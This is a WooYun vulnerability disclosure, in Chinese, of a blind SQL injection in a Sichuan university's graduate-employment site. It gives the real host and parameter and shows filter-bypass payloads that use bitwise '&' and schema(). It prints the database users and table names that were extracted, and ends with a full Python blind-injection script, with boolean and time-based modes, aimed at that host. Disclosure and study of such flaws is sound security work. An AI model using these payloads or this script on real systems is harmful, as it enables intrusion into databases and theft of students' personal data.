当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165116

漏洞标题:四川某大学毕业生就业网SQL注入绕过(可能导致毕业生数据泄露)

相关厂商:四川大学信息管理中心

漏洞作者: 3ky7in4

提交时间:2015-12-28 12:49

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

四川某211、985大学毕业生就业网SQL注入漏洞,绕过后台的防御,可能导致大量毕业生数据泄露。

详细说明:

1、在渗透过程中,发现下面的一个链接
http://222.18.15.135/jiuye/shownews.php?type_id=5&newsid=1
其中newsid参数可能存在SQL注入漏洞。
测试如下:
当newsid参数为2的时候,页面无返回内容

2.png


当newsid参数为2-1的时候,页面内容和newsid参数为1的时候一样。说明存在sql注入漏洞

3.png


2、继续测试的时候,发现网站后台有sql注入防御。
防御规则:
(1)、无法使用order by、group by、union(联合查询)
如下图:
当出现order by的时候,请求被重置

4.png


出现group by的时候,请求同样也被重置

5.png


测试union select 以及 union all select的结果一样被重置
(2)网站没有报错信息,也就是说只能往盲注方向考虑。网站过滤了and,%26%26关键词。

6.png


但是没有过滤掉%26,所以可以使用按位与符号。
构造payload测试:%26 if(3>1,1,0)
因为newsid=1,1 & 1 = 1。
当if语句内容为真的时候,可以返回正页面内容。
(3)网站过滤了version()、@@version、user()、current_user()、database()函数,
当包含user()时,网站连接被重置

7.png


当包含database()时,网站连接被重置

8.png


但是没有过滤掉schema(),所以可以通过schema()获取当期数据。

9.png


写一个盲注脚本,跑了跑。

10.png


漏洞证明:

验证代码在最后面
1、获取当前数据的所有用户,只有两个用户,一个是允许远程连接的,一个是本地的,root权限。
[email protected].%
root@localhost
2、获取当前服务器的所有数据
test
mysql
dcwj
abcd
jyxtnew
jyjd
2013
jyxtnew_bak2
mysql50jyxtnew-bak
information_schema
3、当前数据库一共有117个表,数量太大,不像太深入分析了。如下图

1.png


使用之前的脚本跑了77个表名出来
abcd
bdzqflbdm
byqxdm
bz
bzzydzb
cfavorite
company
danweijibenxinxi
danweijibenxinxi20141201
danweijibenxinxi20141206
danweijibenxinxi20150415
danweijibenxinxi20150901
danweijibenxinxi20151112
danweijibenxinxi_20140402lxg
daorushuju
dwjbxx_new
dwwz
ejqx
jiuye130605
jiuyezhidao
jyxx
knslbdm
learnings
learnings2
learnings3
menu
pfavorite
shengxuedanwei
sys_broadcast
sys_broadcast
sys_broadcast_lxg20131204
sys_broadcast_lxg20131204
t_attach
t_dwggxx
t_dwhydm
t_dwhydm2
t_dwhydm_old_20140108lxg
t_dwjbxx
t_dwjbxx_20140401lxg
t_dwjbxx_20140901
t_dwjbxx_err
t_dwjbxx_lxg20130904
t_jbzydm080901
t_jcxx
t_lsdwqtxx
t_lsdwqtxx
t_lsdwxx
t_shgxqk
t_sjjy
t_sxh
t_sxh20071123
t_szddm
t_szddm
t_szddm20120601
t_szddm_20150602
t_szddm_20150602
t_szddm_old
t_szddm_old
t_txfs
t_xbdm
t_xbdm
t_xkxx
t_xldm
t_xscj
t_xscj
t_xscj
t_xsggxx
t_xsjcqk
t_xslbdm
t_xslbdm
t_xxgg
t_xxgg_20140901
t_xxgg_lxg20130904
t_yxjbxx
t_yxsjkdzb
t_yxxx
(4)验证代码:

#encoding=utf-8
import requests
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63'
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.-:%')
def GetData(whatyouwant='user()',keyword=None,timeout=0,length=0):
global payloads,host
if length == 0:
length = CheckDataLength(whatyouwant,timeout)
result = ''
if length!=0 and length != None:
for j in range(1,length+1):
for payload in payloads:
#print(payload)
if timeout !=0:
p = 'if(mid(%s,%d,1)=char(%d),sleep(%d),sleep(0))' % (whatyouwant,j,ord(payload),timeout)
if MakeaRequest(host,p,timeout=timeout):
result += payload
print('[In process]:%s==>%s' % (whatyouwant,result))
break
else:
p = 'if(mid(%s,%d,1)=char(%d),1,0)' % (whatyouwant,j,ord(payload))
if MakeaRequest(host,p,keyword):
result += payload
print('[In process]:%s==>%s' % (whatyouwant,result))
break
def CheckDataLength(whatyouwant='user()',timeout=0,defaultlen=32):
global host,keyword
for i in range(1,defaultlen+1):
if timeout !=0:
payload = 'if(length(%s)=%d,sleep(%d),sleep(0))' % (whatyouwant,i,timeout)
if MakeaRequest(host,payload,timeout=timeout):
print("what you want[%s]====>length:%d",payload,i)
return i
else:
payload = 'if(length(%s)=%d,1,0)' % (whatyouwant,i)
if MakeaRequest(host,payload,keyword):
print("what you want[%s]====>length:%d",payload,i)
return i
return None
def MakeaRequest(host,payload,key=None,timeout=0):
global headers,payloadstart,payloadsend,keyword
payload = '%s%s%s' % (payloadstart,urllib.quote(payload),payloadend)
url = host+payload
if key:
try:
req = requests.get(url,headers=headers)
except Exception,e:
print(str(e))
return False
if keyword in req.text:
return True
else:
return False
elif timeout >0:
try:
req = requests.get(url,headers=headers,timeout=timeout)
return False
except requests.Timeout,e:
return True
else:
pass
host = 'http://222.18.15.135/'
keyword = '[email protected]'
payloadstart = 'jiuye/shownews.php?type_id=5&newsid=-1%0a %26 '
payloadend = ''
'''
#获取服务器所有的数据库
for i in range(11):
pp = '(SelEct SCHEMA_NAME from information_schema.schemata limit %d,1)' % (i)
GetData(pp,keyword)
'''
'''
#获取数据库所有用户
for i in range(2):
#pp = '(select host from mysql.user limit %d,1)' % (i)
pp = '(select user from mysql.user limit %d,1)' % (i)
GetData(pp,keyword)
'''
'''
for i in range(118):
pp = '(SelEct table_name from information_schema.TABLE_CONSTRAINTS where CONSTRAINT_SCHEMA=SCHEMA() limit %d,1)'\
% (i)
GetData(pp,keyword)
'''
GetData('schema()',keyword)

修复方案:

1、对于id这种接收int类型数据的,强制类型转换成int不失为一种简单粗暴的方法
2、加强过滤,黑名单过滤。最好把select、from、information_schema也过滤掉

版权声明:转载请注明来源 3ky7in4@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-12-31 15:15

厂商回复:

感谢可爱的白帽子,已经转告相关部门处理

最新状态:

暂无